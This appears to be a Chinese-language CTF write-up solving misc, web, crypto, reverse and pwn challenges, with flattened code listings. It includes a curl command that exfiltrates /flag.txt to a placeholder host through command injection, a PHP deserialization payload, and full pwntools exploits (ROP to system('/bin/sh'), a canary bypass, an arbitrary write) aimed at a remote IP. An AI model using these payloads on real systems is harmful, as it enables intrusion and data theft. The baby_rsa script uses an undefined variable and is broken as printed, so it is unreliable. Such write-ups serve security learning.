MISC ez_xor 直接进行异或57即可拿到flag
1 2 3 4 5 6 7 8 9 a = [0x5f , 0x55 , 0x58 , 0x5e , 0x42 , 0x71 , 0x7a , 0x6d , 0x7f , 0x48 , 0x4e , 0x5c , 0x78 , 0x6a , 0x7d , 0x08 , 0x01 , 0x0b , 0x44 ] for i in range (256 ): flag = "" print (i) for j in range (len (a)): flag = flag + chr (i ^ a[j]) print (flag)
光隙中的寄生密钥 将jpg图片中的压缩包分离出来然后爆破密码得到
之后在进行hex base64解密即可得到flag
被折叠的显影图纸 直接搜索flag
ez_picture lsb拿到密码
然后解压有一个图片里面有base64加密的字符,解密可得flag
easy_misc 先转ascii 然后base64解密 在base58解密
最后在rot13或者凯撒13都可以
套娃 先改成压缩包解压出txt文件在改成docx文件打开变个颜色就行
WEB YWB_Web_xff 查看源码知道要求ip是2.2.2.1即可
YWB_Web_未授权访问 直接将cookie中的guest改成admin 然后 0 改为1即可
easyweb 利用curl命令外带就可以了
cmd=curl http:/x.x.x.x/$(cat /flag.txt)
YWB_Web_命令执行过滤绕过 利用 var_dump file_get_contents 读取flag
YWB_Web_反序列化 反序列化直接构造即可
1 O:7:"mylogin":2:{s:4:"user";N;s:4:"pass";s:11:"myzS@11wawq";}
CRYPTO cry_rsa 直接写脚本就可以
1 2 3 4 5 6 7 8 9 10 from sympy import mod_inverse p = 473398607161 q = 4511491 e = 19 phi_n = (p - 1 ) * (q - 1 ) d = mod_inverse(e, phi_n) print (f"flag{{{d+5 } }}" )
gift 根据描述可以推算出为pie,然后在按照凯撒的偏移为10可以计算出zso
草甸方阵的密语 先栅栏10在凯撒7
easy-签到题 直接cyberchef梭哈
baby_rsa 若 p ≈ q
或 p = q + k
,其中 k
较小,则可以通过暴力枚举 k
得到 p
和 q
,进而得到 φ(N)
,最终恢复私钥。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from Crypto.Util.number import isPrime, long_to_bytes from gmpy2 import isqrt, invert N = 12194420073815392880989031611545296854145241675320130314821394843436947373331080911787176737202940676809674543138807024739454432089096794532016797246441325729856528664071322968428804098069997196490382286126389331179054971927655320978298979794245379000336635795490242027519669217784433367021578247340154647762800402140321022659272383087544476178802025951768015423972182045405466448431557625201012332239774962902750073900383993300146193300485117217319794356652729502100167668439007925004769118070105324664379141623816256895933959211381114172778535296409639317535751005960540737044457986793503218555306862743329296169569 e = 65537 c = 4504811333111877209539001665516391567038109992884271089537302226304395434343112574404626060854962818378560852067621253927330725244984869198505556722509058098660083054715146670767687120587049288861063202617507262871279819211231233198070574538845161629806932541832207041112786336441975087351873537350203469642198999219863581040927505152110051313011073115724502567261524181865883874517555848163026240201856207626237859665607255740790404039098444452158216907752375078054615802613066229766343714317550472079224694798552886759103668349270682843916307652213810947814618810706997339302734827571635179684652559512873381672063 for k in range (1 , 1 << 16 ): sqrt_D = isqrt(D) if sqrt_D * sqrt_D != D: continue q = (-k + sqrt_D) // 2 if N % q == 0 : p = N // q if isPrime(p) and isPrime(q): print (f"Found p and q!\np = {p} \nq = {q} " ) break phi = (p - 1 ) * (q - 1 ) d = invert(e, phi) m = pow (c, d, N) print (str (long_to_bytes(m).rstrip(b"\x00" )).replace("1" ,"2" ))
ez_base 垃圾邮件解密
https://www.spammimic.com/decode.cgi 然后直接base64解码
Reverse sign in rc4逆向,直接给出脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 import structdef rc4 (key: bytes , data: bytes ) -> bytes : """RC4解密函数:输入密钥和密文,输出明文""" S = list (range (256 )) j = 0 for i in range (256 ): j = (j + S[i] + key[i % len (key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 output = [] for byte in data: i = (i + 1 ) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] k = S[(S[i] + S[j]) % 256 ] output.append(byte ^ k) return bytes (output) key_chunks_qword = [ 0xB8C6B89FC8B99FC8 , 0xCFB7B0C51443528F , 0xB1A8C6B99BC7AC9C , 0xBDC68AB3C59299C5 ] key_chunk_dword = 0xA69AC485 key_bytes = b'' .join(struct.pack('<Q' , chunk) for chunk in key_chunks_qword) key_bytes += struct.pack('<I' , key_chunk_dword) ciphertext_chunks_qword = [ 0xC44745F289B15A46 , 0xBA8BB14D62D35502 , 0xB528D46C87D08D0A , 0xA56220992C994B26 ] ciphertext_chunk_7bytes = 0x2AC19853F3F7 ciphertext_bytes = b'' .join(struct.pack('<Q' , chunk) for chunk in ciphertext_chunks_qword) ciphertext_bytes += struct.pack('<Q' , ciphertext_chunk_7bytes)[:7 ] decrypted_data = rc4(key_bytes, ciphertext_bytes) print ("Decrypted result:" )print (decrypted_data.decode(errors='ignore' ))
ez_math 要用pycdas反编译出来,是汇编代码,用python脚本逆一下,脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from z3 import *s = Solver() x = [Int(f'x_{i} ' ) for i in range (38 )] for xi in x: s.add(xi >= 0 ) s.add(xi <= 127 ) s.add(3 *(x[0 ]*x[16 ]) -9 *(x[1 ]*x[16 ]) -10 *(x[1 ]*x[4 ]) +2 *(x[11 ]*x[26 ]) -x[14 ]*x[32 ] -8 *(x[14 ]*x[36 ]) -3 *(x[15 ]*x[32 ]) +8 *(x[15 ]*x[6 ]) +5 *(x[17 ]*x[20 ]) +8 *(x[17 ]*x[6 ]) -4 *(x[18 ]*x[4 ]) +3 *(x[19 ]*x[37 ]) +9 *(x[22 ]*x[30 ]) -5 *(x[25 ]*x[34 ]) -3 *(x[30 ]*x[33 ]) -9 *(x[32 ]*x[6 ]) -x[33 ]*x[7 ] -3 *(x[36 ]*x[37 ]) +225496 == 0 ) s.add(x[0 ] +8 *(x[11 ]*x[12 ]) -2 *(x[13 ]*x[14 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]) +4 *(x[16 ]*x[18 ]) +4 *(x[16 ]*x[6 ]) -5 *(x[17 ]*x[27 ]) +3 *(x[18 ]*x[2 ]) +9 *(x[18 ]*x[4 ]) +7 *x[18 ] +7 *(x[19 ]*x[9 ]) -3 *(x[22 ]*x[29 ]) +x[29 ] -7 *(x[34 ]*x[6 ]) +5 *x[5 ] -39408 == 0 ) s.add(-10 *(x[0 ]*x[11 ]) +x[0 ]*x[23 ] -8 *(x[1 ]*x[19 ]) -3 *(x[11 ]*x[36 ]) -5 *(x[13 ]*x[22 ]) -x[14 ]*x[21 ] +3 *(x[17 ]*x[29 ]) -x[2 ]*x[27 ] -10 *(x[24 ]*x[26 ]) +2 *(x[25 ]*x[4 ]) +10 *(x[26 ]*x[4 ]) -x[27 ]*x[33 ] +x[28 ]*x[6 ] -10 *(x[32 ]*x[7 ]) -x[33 ]*x[36 ] +7 *(x[37 ]*x[6 ]) +137619 == 0 ) s.add(9 *(x[0 ]*x[11 ]) -4 *(x[1 ]*x[28 ]) -8 *(x[10 ]*x[37 ]) +7 *(x[12 ]*x[13 ]) -3 *(x[12 ]*x[34 ]) -6 *(x[15 ]*x[31 ]) -8 *(x[2 ]*x[7 ]) +3 *(x[20 ]*x[23 ]) +5 *(x[20 ]*x[33 ]) -5 *(x[24 ]*x[9 ]) +10 *(x[26 ]*x[28 ]) -9 *(x[28 ]*x[30 ]) +9 *(x[31 ]*x[33 ]) -4521 == 0 ) if s.check() == sat: m = s.model() flag = '' .join([chr (m[xi].as_long()) for xi in x]) print (flag)
Pwn ez_pwn 栈溢出,直接看脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *from LibcSearcher import *context(os='linux' , arch='amd64' , log_level='debug' ) p = remote('47.105.113.86' , 30003 ) elf = ELF('./pwn' ) libc = elf.libc write_got = elf.got['write' ] write_plt = elf.plt['write' ] read_plt = elf.plt['read' ] main = elf.symbols['main' ] stdout_addr = 0x404060 pop_rdi = 0x4012c3 pop_rsi_r15 = 0x4012c1 ret = 0x40101a payload = flat( b'a' * 0x28 , pop_rdi, 0 , pop_rsi_r15, stdout_addr, 0 , read_plt, pop_rdi, 2 , pop_rsi_r15, write_got, 0 , write_plt, main ) p.sendlineafter(b"blind now." , payload) p.send(b'\xc0\x15' ) write_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc_base = write_addr - libc.symbols['write' ] log.success("libc base: " + hex (libc_base)) system_addr = libc_base + libc.symbols['system' ] binsh_addr = libc_base + next (libc.search(b'/bin/sh\x00' )) payload = flat( b'a' * 0x28 , ret, pop_rdi, binsh_addr, ret, system_addr ) p.sendline(payload) p.interactive()
Canary 程序在 choice1
中存在明显的 栈溢出漏洞 ,但由于栈中布置了 Stack Canary(栈保护机制) ,溢出后若 canary 被破坏,将导致程序在函数返回前崩溃。更进一步分析发现,虽然 canary 的值是由随机函数生成的,但由于程序中无法泄露种子 seed ,我们不能直接预测正确的 canary 值。
然而,程序的逻辑结构设计存在缺陷:canary 的校验并不是实时进行的,而是在主循环退出后统一进行;与此同时,在 choice2
分支中,存在对 canary 所在位置重新写入的功能,这一行为可用于修复之前因栈溢出而破坏的 canary 值 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) p = remote('47.105.113.86' , 30001 ) backdoor = 0x401581 payload = b'a' * (0x70 - 4 ) payload += p32(0 ) payload += p64(0 ) payload += p64(backdoor) p.sendlineafter("Input your choice\n" , "1" ) p.sendlineafter("Show me the code:\n" , payload) p.sendlineafter("Input your choice\n" , "2" ) p.sendlineafter("Input your choice\n" , "3" ) p.interactive()
special_malloc 拖入IDA分析,简单的还原下伪代码:
需要想办法修改global_flag == 0x12345678
,继续分析:
edit方法没有判断范围可以任意地址写。
gdb调试,找到0x601f00的位置:
将0x602000中的内容修改为0x6020f0。
然后根据0x602000的指针修改0x6020f0即可满足global_flag的要求。
最后输入cat_flags拿下flag,需要注意加入sleep,防止远程多次输入粘包。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import *context.log_level = 'debug' p = remote('47.105.113.86' , '30007' ) p.sendline(b'add' ) sleep(1 ) p.sendline(b'editit' ) sleep(1 ) p.sendline(b'-68' ) sleep(1 ) p.send(p64(0x6020F0 )) sleep(1 ) p.sendline(b'editit' ) sleep(1 ) p.sendline(b'-36' ) sleep(1 ) p.send(p64(0x12345678 )) sleep(1 ) p.sendline(b'cat_flags' ) sleep(1 ) p.sendline(b'flag' ) sleep(1 ) p.interactive()